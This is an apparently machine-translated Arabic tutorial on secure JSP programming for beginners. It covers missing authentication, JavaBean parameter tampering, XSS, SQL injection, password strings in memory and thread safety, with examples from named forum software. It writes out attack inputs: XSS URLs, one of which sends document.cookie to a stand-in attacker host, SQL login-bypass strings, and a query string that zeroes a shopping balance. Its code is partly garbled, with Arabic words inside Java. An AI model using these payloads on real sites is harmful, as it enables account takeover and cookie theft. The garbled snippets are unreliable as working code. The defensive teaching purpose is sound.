أصبحت Java Server Page (JSP) شائعة بشكل متزايد كتقنية لإنشاء صفحات ويب ديناميكية. لدى JSP وASP وPHP آليات عمل مختلفة. بشكل عام، يتم تجميع صفحات JSP بدلاً من تفسيرها عند تنفيذها. الاستدعاء الأول لملف JSP هو في الواقع عملية تجميعه في Servlet. عندما يطلب المتصفح ملف JSP هذا من الخادم، سيتحقق الخادم مما إذا كان ملف JSP قد تغير منذ التجميع الأخير، وإذا لم يكن هناك تغيير، فسيتم تنفيذ Servlet مباشرة دون إعادة الترجمة، وبهذه الطريقة، ستكون الكفاءة كبيرة تحسين.
اليوم سوف ألقي نظرة على أمان JSP من منظور برمجة البرامج النصية معك، حيث إن المخاطر الأمنية مثل التعرض للكود المصدري تقع خارج نطاق هذه المقالة. الغرض الرئيسي من كتابة هذه المقالة هو تذكير الأصدقاء الجدد في برمجة JSP لتنمية الوعي بالبرمجة الآمنة من البداية، وعدم ارتكاب أخطاء لا ينبغي ارتكابها، وتجنب الخسائر التي يمكن تجنبها. بالإضافة إلى ذلك، أنا أيضًا مبتدئ، إذا كان لديك أي أخطاء أو آراء أخرى، يرجى النشر وإخباري.
1. مصادقة فضفاضة - أخطاء منخفضة المستوى
في الإصدار المنقح من منتدى Yiyang v1.12،
يعد user_manager.jsp صفحة يديرها المستخدم، ويعرف المؤلف حساسيتها ويضيف قفلًا:
if ((session.getValue( "UserName"). )==null)││(session.getValue("UserClass")==null)││(! session.getValue("UserClass").equals("مسؤول النظام")))
{
Response.sendRedirect("err.jsp?id=14");
يعود؛
}
إذا كنت تريد عرض معلومات المستخدم وتعديلها، فيجب عليك استخدام الملف Adjustuser_manager.jsp. مقدم من المشرف
http://www.somesite.com/yyforum/modifyuser_manager.jsp?modifyid=51
الغرض منه هو عرض وتعديل معلومات المستخدم بالمعرف 51 (معرف المستخدم الافتراضي للمسؤول هو 51). ومع ذلك، فإن مثل هذه الوثيقة المهمة تفتقر إلى المصادقة. يمكن للمستخدمين العاديين (بما في ذلك السياح) إرسال الطلب أعلاه مباشرة والحصول على رؤية واضحة له (يتم أيضًا تخزين كلمة المرور وعرضها بنص واضح). يعد Adjustuser_manage.jsp مفتوحًا أيضًا. ولن يرى الصفحة التي تعرض الخطأ متأخرًا إلا بعد أن يكمل المستخدم الضار عملية تحديث البيانات ويعيد التوجيه إلى user_manager.jsp. من الواضح أن مجرد قفل الباب لا يكفي عند البرمجة، يجب أن تتحمل عناء إضافة مصادقة الهوية إلى كل مكان يجب إضافة مصادقة الهوية إليه.
2. احتفظ بمدخل JavaBean.
إن جوهر تقنية مكون JSP هو مكون Java المسمى Bean. في البرنامج، يمكن وضع التحكم المنطقي وعمليات قاعدة البيانات في مكون Javabeans، ثم استدعاؤها في ملف JSP، مما يمكن أن يزيد من وضوح البرنامج وقابلية إعادة استخدام البرنامج. بالمقارنة مع صفحات ASP أو PHP التقليدية، تعد صفحات JSP بسيطة جدًا لأنه يمكن تغليف العديد من عمليات معالجة الصفحات الديناميكية في JavaBeans.
لتغيير خصائص JavaBean، استخدم العلامة "<jsp:setProperty>".
التعليمات البرمجية التالية هي جزء من التعليمات البرمجية المصدر لنظام التسوق الإلكتروني الخيالي. يتم استخدام هذا الملف لعرض المعلومات في مربع التسوق الخاص بالمستخدم، ويتم استخدام checkout.jsp للدفع.
<jsp:useBean id="myBasket" class="BasketBean">
<jsp:setProperty name="myBasket" property="*"/>
<jsp:useBean>
<أتش تي أم أل>
<الرأس><العنوان>سلتك</العنوان></الرأس>
<الجسم>
<ص>
لقد أضفت العنصر
<jsp::getProperty name="myBasket" property="newItem"/>
إلى سلتك.
<br/>
مجموعك هو $
<jsp::getProperty name="myBasket" property="balance"/>
انتقل إلى <a href="checkout.jsp">checkout</a>
هل لاحظت الخاصية = "*"؟ يشير هذا إلى أن قيم جميع المتغيرات التي أدخلها المستخدم في صفحة JSP المرئية، أو تم إرسالها مباشرة من خلال سلسلة الاستعلام، سيتم تخزينها في خصائص الفول المطابقة.
عادةً ما يرسل المستخدمون طلبات مثل هذا:
http://www.somesite.com /addToBasket.jsp?newItem=ITEM0105342
ولكن ماذا عن المستخدمين الجامحين؟ يمكنهم إرسال:
http://www.somesite.com /addToBasket.jsp?newItem=ITEM0105342&balance=0
بهذه الطريقة، يتم تخزين معلومات الرصيد = 0 في JavaBean. عندما ينقرون على "الخروج" لتسجيل الخروج، يتم التنازل عن الرسوم.
هذه هي بالضبط نفس مشكلة الأمان التي تسببها المتغيرات العامة في PHP. يمكن ملاحظة ذلك من هذا: يجب استخدام "property = "*"" بحذر!
3. يشير هجوم البرمجة النصية عبر المواقع طويل الأمد
(Cross Site Scripting) إلى إدخال نصوص JavaScript أو VBScript أو ActiveX أو HTML أو Flash الضارة يدويًا في كود HTML الخاص بصفحة ويب بعيدة لسرقة تصفح هذا الموقع. خصوصية المستخدمين وتغيير إعدادات المستخدم وتدمير بيانات المستخدم. لن تؤثر هجمات البرمجة النصية عبر المواقع على تشغيل الخوادم وبرامج الويب في معظم الحالات، ولكنها تشكل تهديدًا خطيرًا لأمن العميل.
خذ منتدى Acai (بيتا 1) من Fangdong.com كأبسط مثال. عندما نرسل
http://www.somesite.com/acjspbbs/dispuser.jsp?name=someuser <;script>alert(document.cookie)</script>،
سينبثق مربع حوار يحتوي على معلومات ملفات تعريف الارتباط الخاصة بنا. أرسل
http://www.somesite.com/acjspbbs/dispuser.jsp?name=someuser <;script>document.location='http://www.163.com'</script>
لإعادة التوجيه إلى NetEase .
نظرًا لأن البرنامج النصي لا يقوم بأي تشفير أو تصفية للتعليمات البرمجية الضارة عند إرجاع قيمة متغير "الاسم" إلى العميل، فعندما يصل المستخدم إلى رابط البيانات الذي يتضمن متغير "الاسم" الضار، سيتم تنفيذ كود البرنامج النصي على متصفح المستخدم، مما قد يتسبب في عواقب مثل تسرب خصوصية المستخدم. على سبيل المثال الرابط التالي:
http://www.somesite.com/acjspbbs/dispuser.jsp?name=someuser <;script>document.location='http://www.hackersite.com/xxx.xxx?'
يتم استخدام+document .cookie</script>
xxx.xxx لتجميع المعلمات التالية، وتحدد المعلمة هنا document.cookie، وهو ملف تعريف الارتباط الخاص بالمستخدم الذي يصل إلى هذا الرابط. في عالم ASP، أتقن العديد من الأشخاص تقنية سرقة ملفات تعريف الارتباط. في JSP، قراءة ملفات تعريف الارتباط ليست صعبة. بالطبع، لا تقتصر البرمجة النصية عبر المواقع أبدًا على وظيفة سرقة ملفات تعريف الارتباط، وأعتقد أن كل شخص لديه فهم معين لها، لذلك لن أخوض في التفاصيل هنا.
يجب تشفير كافة المدخلات والمخرجات للصفحات الديناميكية لتجنب هجمات البرمجة النصية عبر المواقع إلى حد كبير. ولسوء الحظ، فإن تشفير كافة البيانات غير الموثوقة يستهلك الكثير من الموارد ويمكن أن يكون له تأثير على أداء خادم الويب. الطريقة الشائعة هي تصفية بيانات الإدخال، على سبيل المثال، يستبدل التعليمة البرمجية التالية الأحرف الخطيرة:
<% String message = request.getParameter("message");
message = message.replace ('<','_');
message = message.replace ('>','_');
message = message.replace('"','_');
message = message.replace (''','_');
message = message.replace ('%','_'); [أعيد النشر من:51item.net]
message = message.replace (';','_');
message = message.replace ('(','_');
message = message.replace (')','_');
message = message.replace ('&','_');
message = message.replace ('+','_' %>
الطريقة الأكثر إيجابية هي استخدام التعبيرات العادية للسماح بإدخال أحرف محددة فقط:
public boolean isValidInput(String str)
{
if(str.matches("[a-z0-9]+")) يُرجع صحيحًا؛
وإلا يعود كاذبا؛
}
4. ضع في اعتبارك دائمًا حقن SQL
عند تدريس المبتدئين، ولا تهتم كتب البرمجة العامة بالسماح لهم بتطوير عادات البرمجة الآمنة من البداية. يوضح "أفكار وممارسات برمجة JSP" الشهيرة للمبتدئين كيفية كتابة نظام تسجيل دخول باستخدام قاعدة بيانات (قاعدة البيانات هي MySQL):
البيان stmt = conn.createStatement();
String checkUser = "اختر * من تسجيل الدخول حيث اسم المستخدم = '" + userName + "' وuserpassword = '" + userPassword + "'";
ResultSet rs = stmt.executeQuery(checkUser);
إذا (rs.next ())
Response.sendRedirect("SuccessLogin.jsp");
آخر
Response.sendRedirect("FailureLogin.jsp");
وهذا يسمح للأشخاص الذين يؤمنون بالكتاب باستخدام رموز تسجيل الدخول "المثقوبة" بالفطرة لفترة طويلة. إذا كان هناك مستخدم اسمه "jack" في قاعدة البيانات، فهناك على الأقل الطرق التالية لتسجيل الدخول دون معرفة كلمة المرور:
اسم المستخدم: jack
كلمة المرور: ' أو 'أ'='أ
اسم المستخدم: جاك
كلمة المرور: ' أو 1=1/*
اسم المستخدم: جاك أو 1=1/*
كلمة المرور: (أي)
lybbs (منتدى Lingyun) الإصدار 2.9. يتحقق الخادم من البيانات المقدمة لتسجيل الدخول في LogInOut.java مثل هذا:
إذا (s.equals("") ││ s1.equals(""))
throw new UserException("لا يمكن أن يكون اسم المستخدم أو كلمة المرور فارغين.");
if(s.indexOf("'") != -1 ││ s.indexOf(""") != -1 ││ s.indexOf("،) != -1 ││ s.indexOf(" \") != -1)
throw new UserException("لا يمكن أن يتضمن اسم المستخدم أحرفًا غير قانونية مثل ' " \ وما إلى ذلك");
if(s1.indexOf("'") != -1 ││ s1.indexOf(""") != -1 ││ s1.indexOf("*") != -1 ││ s1.indexOf(" \") != -1)
throw new UserException("لا يمكن أن تتضمن كلمة المرور أحرفًا غير قانونية مثل ' " \ *.");
إذا (s.startsWith(" ") ││ s1.startsWith(" "))
throw new UserException("لا يمكن استخدام المسافات في اسم المستخدم أو كلمة المرور.");
لكنني لا أعرف لماذا يقوم فقط بتصفية العلامات النجمية على كلمات المرور وليس أسماء المستخدمين. بالإضافة إلى ذلك، يبدو أنه يجب أيضًا تضمين الخطوط المائلة للأمام في "القائمة السوداء". ما زلت أعتقد أنه من الأسهل استخدام التعبيرات العادية للسماح فقط بالأحرف الموجودة ضمن نطاق محدد.
كلمة تحذير هنا: لا تعتقد أن "الأمن" المتأصل لبعض أنظمة قواعد البيانات يمكنه مقاومة جميع الهجمات بشكل فعال. تُعلم مقالة Pinkeyes "مثال حقن PHP" درسًا لأولئك الذين يعتمدون على "magic_quotes_gpc = On" في ملف تكوين PHP.
5. المخاطر المخفية التي تسببها كائنات السلسلة
لقد جعلت منصة Java بالفعل برمجة الأمان أكثر ملاءمة. لا توجد مؤشرات في Java، مما يعني أن برامج Java لم تعد قادرة على معالجة أي موقع ذاكرة في مساحة العنوان مثل C. يتم التحقق من مشكلات الأمان عند تجميع ملف JSP في ملف .class. على سبيل المثال، سيتم رفض محاولات الوصول إلى عناصر المصفوفة التي تتجاوز حجم المصفوفة، مما يتجنب بشكل كبير هجمات تجاوز سعة المخزن المؤقت. ومع ذلك، فإن كائنات السلسلة ستجلب لنا بعض المخاطر الأمنية. إذا تم تخزين كلمة المرور في كائن Java String، فستبقى في الذاكرة حتى يتم جمع البيانات المهملة أو تنتهي العملية. حتى بعد تجميع البيانات المهملة، ستظل موجودة في كومة الذاكرة الحرة حتى يتم إعادة استخدام مساحة الذاكرة. كلما طالت مدة بقاء سلسلة كلمة المرور في الذاكرة، زاد خطر التنصت. والأسوأ من ذلك، إذا تم تقليل الذاكرة الفعلية، فسيقوم نظام التشغيل بصفحة سلسلة كلمة المرور هذه إلى مساحة المبادلة على القرص، وبالتالي يكون عرضة لهجمات التنصت على كتلة القرص. لتقليل (ولكن ليس القضاء على) احتمال حدوث مثل هذا التسوية، يجب عليك تخزين كلمة المرور في مصفوفة char وتصفيرها بعد الاستخدام (السلاسل غير قابلة للتغيير ولا يمكن تصفيرها).
6. دراسة أولية حول سلامة الخيوط
"ما تستطيع JAVA فعله، يمكن لـ JSP فعله". على عكس لغات البرمجة النصية مثل ASP وPHP، يتم تنفيذ JSP بطريقة متعددة الخيوط افتراضيًا. يمكن أن يؤدي التنفيذ بطريقة متعددة الخيوط إلى تقليل متطلبات الموارد على النظام بشكل كبير وتحسين التزامن ووقت استجابة النظام. المواضيع هي مسارات تنفيذ متزامنة ومستقلة في البرنامج، ولكل مؤشر ترابط مكدسه الخاص وعداد البرنامج الخاص به والمتغيرات المحلية الخاصة به. على الرغم من أن معظم العمليات في تطبيق متعدد مؤشرات الترابط يمكن تنفيذها بالتوازي، إلا أن هناك بعض العمليات، مثل تحديث العلامات العامة أو معالجة الملفات المشتركة، لا يمكن إجراؤها بالتوازي. إذا لم تتم مزامنة سلاسل الرسائل بشكل جيد، فستحدث مشكلات أيضًا أثناء عمليات الوصول المتزامنة الكبيرة دون "المشاركة المتحمسة" للمستخدمين الضارين. الحل الأبسط هو إضافة: تعليمات <%@ page isThreadSafe="false" %> إلى ملف JSP ذي الصلة لتنفيذه بطريقة أحادية الترابط. في هذا الوقت، يتم تنفيذ جميع طلبات العميل بطريقة تسلسلية. قد يؤدي هذا إلى انخفاض أداء النظام بشكل كبير. لا يزال بإمكاننا السماح لملف JSP بالتنفيذ بطريقة متعددة الخيوط ومزامنة الخيوط عن طريق قفل الوظيفة. تحصل الوظيفة بالإضافة إلى الكلمة الأساسية المتزامنة على قفل. انظر إلى المثال التالي:
public class MyClass{
كثافة العمليات أ؛
public Init() {// يمكن استدعاء هذه الطريقة بواسطة سلاسل رسائل متعددة في نفس الوقت a = 0;
}
مجموعة باطلة عامة متزامنة () {// لا يمكن لخيطين استدعاء هذه الطريقة في نفس الوقت if(a>5) {
أ= أ-5؛
}
}
}
ولكن سيظل لهذا تأثير معين على أداء النظام. الحل الأفضل هو استخدام المتغيرات المحلية بدلاً من متغيرات الحالة. نظرًا لأنه يتم تخصيص متغيرات المثيل في الكومة ومشاركتها بواسطة جميع سلاسل الرسائل التي تنتمي إلى المثيل، فهي ليست آمنة لمؤشر الترابط، بينما يتم تخصيص المتغيرات المحلية في المكدس لأن كل مؤشر ترابط له مساحة مكدس خاصة به، لذا فهو آمن لمؤشر الترابط. . على سبيل المثال، رمز إضافة الأصدقاء في منتدى Lingyun:
public void addFriend(int i, String s, String s1)
يلقي DBConnectException
{
يحاول
{
لو……
آخر
{
DBConnect dbconnect = new DBConnect("أدخل في قيم الصديق (المؤلف، اسم الصديق) (؟،؟)");
dbconnect.setInt(1, i);
dbconnect.setString(2, s);
dbconnect.executeUpdate();
dbconnect. Close();
dbconnect = null;
}
}
قبض (استثناء استثناء)
{
رمي DBConnectException الجديد (exception.getMessage ())؛
}
}
ما يلي هو الاستدعاء:
friendsName=ParameterUtils.getString(request,"friendname");
إذا (action.equals("adduser")) {
forumFriend.addFriend(Integer.parseInt(cookieID),friendName,cookieName);
errorInfo=forumFriend.getErrorInfo();
}
إذا تم استخدام متغير المثيل، فسيتم مشاركة متغير المثيل من قبل جميع سلاسل المثيل، ومن الممكن أنه بعد تمرير المستخدم A لمعلمة معينة، يتحول مؤشر الترابط الخاص به إلى حالة السكون، ويتم تعديل المعلمة عن غير قصد بواسطة المستخدم B. مما يسبب ظاهرة عدم تطابق الأصدقاء.